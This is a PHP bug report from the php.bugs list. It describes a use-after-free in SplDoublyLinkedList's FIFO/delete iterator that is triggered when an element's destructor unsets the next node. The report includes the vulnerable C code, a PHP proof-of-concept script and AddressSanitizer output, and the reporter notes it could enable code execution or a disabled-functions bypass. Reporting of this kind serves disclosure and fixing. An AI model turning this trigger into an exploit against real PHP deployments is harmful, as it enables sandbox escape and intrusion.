[php-src] Issue #22062: SplDoublyLinkedList iterator UAF via destructor releasing next node
[email protected] (therealcoiffeur)
| Newsgroups | php.bugs |
|---|---|
| Message-ID | <[email protected]> |
Issue: https://github.com/php/php-src/issues/22062
Author: therealcoiffeur
### Description
### Summary
In `IT_MODE_DELETE | IT_MODE_FIFO` mode, `spl_dllist_it_helper_move_forward()` advances the iterator pointer to `old->next` (node B) at line 810 before that node's reference count has been incremented by the iterator. The only reference to node B at that moment is from the list itself (RC = 1).
The function then calls `spl_ptr_llist_shift()` to remove the old head from the list, followed by `zval_ptr_dtor(&prev)` to run the removed element's destructor. That destructor can execute arbitrary PHP code. If the destructor removes node B from the list (e.g., via `offsetUnset(0)`), node B's RC drops to zero and its memory is freed. When `spl_dllist_it_helper_move_forward()`
then executes `SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr)` at line 823, it writes into the freed node B struct (a UAF write).
### Vulnerable Source Code
```c
// ext/spl/spl_dllist.c:794-825
static void spl_dllist_it_helper_move_forward(
spl_ptr_llist_element **traverse_pointer_ptr,
int *traverse_position_ptr,
spl_ptr_llist *llist, int flags)
{
if (*traverse_pointer_ptr) {
spl_ptr_llist_element *old = *traverse_pointer_ptr;
if (flags & SPL_DLLIST_IT_LIFO) {
...
} else {
*traverse_pointer_ptr = old->next; // line 810: advance; RC NOT bumped yet
if (flags & SPL_DLLIST_IT_DELETE) {
zval prev;
spl_ptr_llist_shift(llist, &prev); // line 814: remove head
zval_ptr_dtor(&prev); // line 816: PHP destructor fires
// can free *traverse_pointer_ptr
} else {
(*traverse_position_ptr)++;
}
}
SPL_LLIST_DELREF(old); // line 822
SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr); // line 823: UAF WRITE if freed
}
}
```
```c
// ext/spl/spl_dllist.c:38-50 -- reference count macros
#define SPL_LLIST_RC(elem) Z_EXTRA((elem)->data)
#define SPL_LLIST_DELREF(elem) if (!--SPL_LLIST_RC(elem)) { efree(elem); }
#define SPL_LLIST_CHECK_ADDREF(e) if (e) SPL_LLIST_RC(e)++ // writes rc field
```
### How to Trigger
```php
<?php
$list = new SplDoublyLinkedList();
$list->setIteratorMode(
SplDoublyLinkedList::IT_MODE_FIFO |
SplDoublyLinkedList::IT_MODE_DELETE
);
$list->push(new class($list) {
public function __construct(private SplDoublyLinkedList $list) {}
public function __destruct() {
if ($this->list->count() > 0) {
$this->list->offsetUnset(0);
}
}
});
$list->push(new stdClass());
foreach ($list as $item) {
unset($item);
}
```
Requires `IT_MODE_DELETE` (explicit) and an element whose destructor removes the next element from the list (e.g., `offsetUnset(0)` after a shift has made node B the new head at index 0).
Two constraints must both be satisfied for the destructor to fire at the critical window inside `spl_dllist_it_helper_move_forward()`:
1. No `break` before the loop advances: The UAF is inside `next()` (`spl_dllist_it_move_forward` → `spl_dllist_it_helper_move_forward`). A `break` in the foreach body exits before the VM ever calls `next()`.
2. `unset($item)` before the loop advances: `FE_FETCH` copies the element zval into `$item`, raising node A's data RC from 1 to 2. When `next()` later calls `spl_ptr_llist_shift` + `zval_ptr_dtor(&prev)`, the RC drops from 2 to 1 (the destructor does not fire). For the destructor to fire during `zval_ptr_dtor(&prev)` (the exact window where node B is unprotected), the RC must be 1 going into `next()`. `unset($item)` inside the foreach body restores that, so that `zval_ptr_dtor(&prev)` drives the RC to 0 and executes `__destruct` while `*traverse_pointer_ptr` already points to node B but node B's RC has not yet been incremented.
<u>Command:</u>
```bash
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f5/poc.php
```
<u>Output:</u>
```
=================================================================
==30138==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000042fbc at pc 0x000101b0ffe0 bp 0x00016f224170 sp 0x00016f224168
READ of size 4 at 0x603000042fbc thread T0
#0 0x000101b0ffdc in spl_dllist_it_helper_move_forward spl_dllist.c:823
#1 0x000101b186bc in spl_dllist_it_move_forward spl_dllist.c:873
#2 0x000102745c1c in zend_fe_fetch_object_helper_SPEC_TAILCALL zend_vm_execute.h:55835
#3 0x000102303a9c in execute_ex zend_vm_execute.h:110168
#4 0x000102304430 in zend_execute zend_vm_execute.h:115586
#5 0x000102924b44 in zend_execute_script zend.c:1971
#6 0x000101f13658 in php_execute_script_ex main.c:2646
#7 0x000101f13bc0 in php_execute_script main.c:2686
#8 0x00010292b4b8 in do_cli php_cli.c:947
#9 0x000102929904 in main php_cli.c:1370
#10 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
0x603000042fbc is located 28 bytes inside of 32-byte region [0x603000042fa0,0x603000042fc0)
freed by thread T0 here:
#0 0x000105bad258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
#1 0x000102187664 in __zend_free zend_alloc.c:3571
#2 0x00010218b37c in _efree zend_alloc.c:2788
#3 0x000101b0f590 in zim_SplDoublyLinkedList_offsetUnset spl_dllist.c:761
#4 0x0001025b3ddc in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54785
#5 0x000102303a9c in execute_ex zend_vm_execute.h:110168
#6 0x0001022dd524 in zend_call_function zend_execute_API.c:1016
#7 0x0001022df520 in zend_call_known_function zend_execute_API.c:1114
#8 0x0001028a34fc in zend_call_known_instance_method zend_API.h:871
#9 0x0001028a0c60 in zend_call_known_instance_method_with_0_params zend_API.h:877
#10 0x0001028a05c4 in zend_objects_destroy_object zend_objects.c:171
#11 0x00010289de8c in zend_objects_store_del zend_objects_API.c:178
#12 0x0001029053d0 in rc_dtor_func zend_variables.c:56
#13 0x0001029054e4 in i_zval_ptr_dtor zend_variables.h:44
#14 0x00010290540c in zval_ptr_dtor zend_variables.c:83
#15 0x000101b0fe18 in spl_dllist_it_helper_move_forward spl_dllist.c:816
#16 0x000101b186bc in spl_dllist_it_move_forward spl_dllist.c:873
#17 0x000102745c1c in zend_fe_fetch_object_helper_SPEC_TAILCALL zend_vm_execute.h:55835
#18 0x000102303a9c in execute_ex zend_vm_execute.h:110168
#19 0x000102304430 in zend_execute zend_vm_execute.h:115586
#20 0x000102924b44 in zend_execute_script zend.c:1971
#21 0x000101f13658 in php_execute_script_ex main.c:2646
#22 0x000101f13bc0 in php_execute_script main.c:2686
#23 0x00010292b4b8 in do_cli php_cli.c:947
#24 0x000102929904 in main php_cli.c:1370
#25 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
previously allocated by thread T0 here:
#0 0x000105bad164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
#1 0x00010218b998 in __zend_malloc zend_alloc.c:3543
#2 0x00010218b250 in _emalloc zend_alloc.c:2778
#3 0x000101b096c8 in spl_ptr_llist_push spl_dllist.c:175
#4 0x000101b095d0 in zim_SplDoublyLinkedList_push spl_dllist.c:466
#5 0x0001025b3ddc in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54785
#6 0x000102303a9c in execute_ex zend_vm_execute.h:110168
#7 0x000102304430 in zend_execute zend_vm_execute.h:115586
#8 0x000102924b44 in zend_execute_script zend.c:1971
#9 0x000101f13658 in php_execute_script_ex main.c:2646
#10 0x000101f13bc0 in php_execute_script main.c:2686
#11 0x00010292b4b8 in do_cli php_cli.c:947
#12 0x000102929904 in main php_cli.c:1370
#13 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
SUMMARY: AddressSanitizer: heap-use-after-free spl_dllist.c:823 in spl_dllist_it_helper_move_forward
Shadow bytes around the buggy address:
0x603000042d00: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x603000042d80: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x603000042e00: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x603000042e80: fd fd fd fd fa fa fd fd fd fa fa fa fd fd fd fa
0x603000042f00: fa fa fd fd fd fa fa fa 00 00 00 fa fa fa fd fd
=>0x603000042f80: fd fd fa fa fd fd fd[fd]fa fa fa fa fa fa fa fa
0x603000043000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x603000043080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x603000043100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x603000043180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x603000043200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==30138==ABORTING
[1] 30138 abort USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f5/poc.php
```
> Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-j2px-7g2w-jjg4 is not part of PHP's threat model (which is wrong, but that's not my call).
> "Hey, this is not a security issue. You have to write carefully crafted code to trigger this.
Please re-open this as a normal bug."
### PHP Version
```plain
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```
### Operating System
_No response_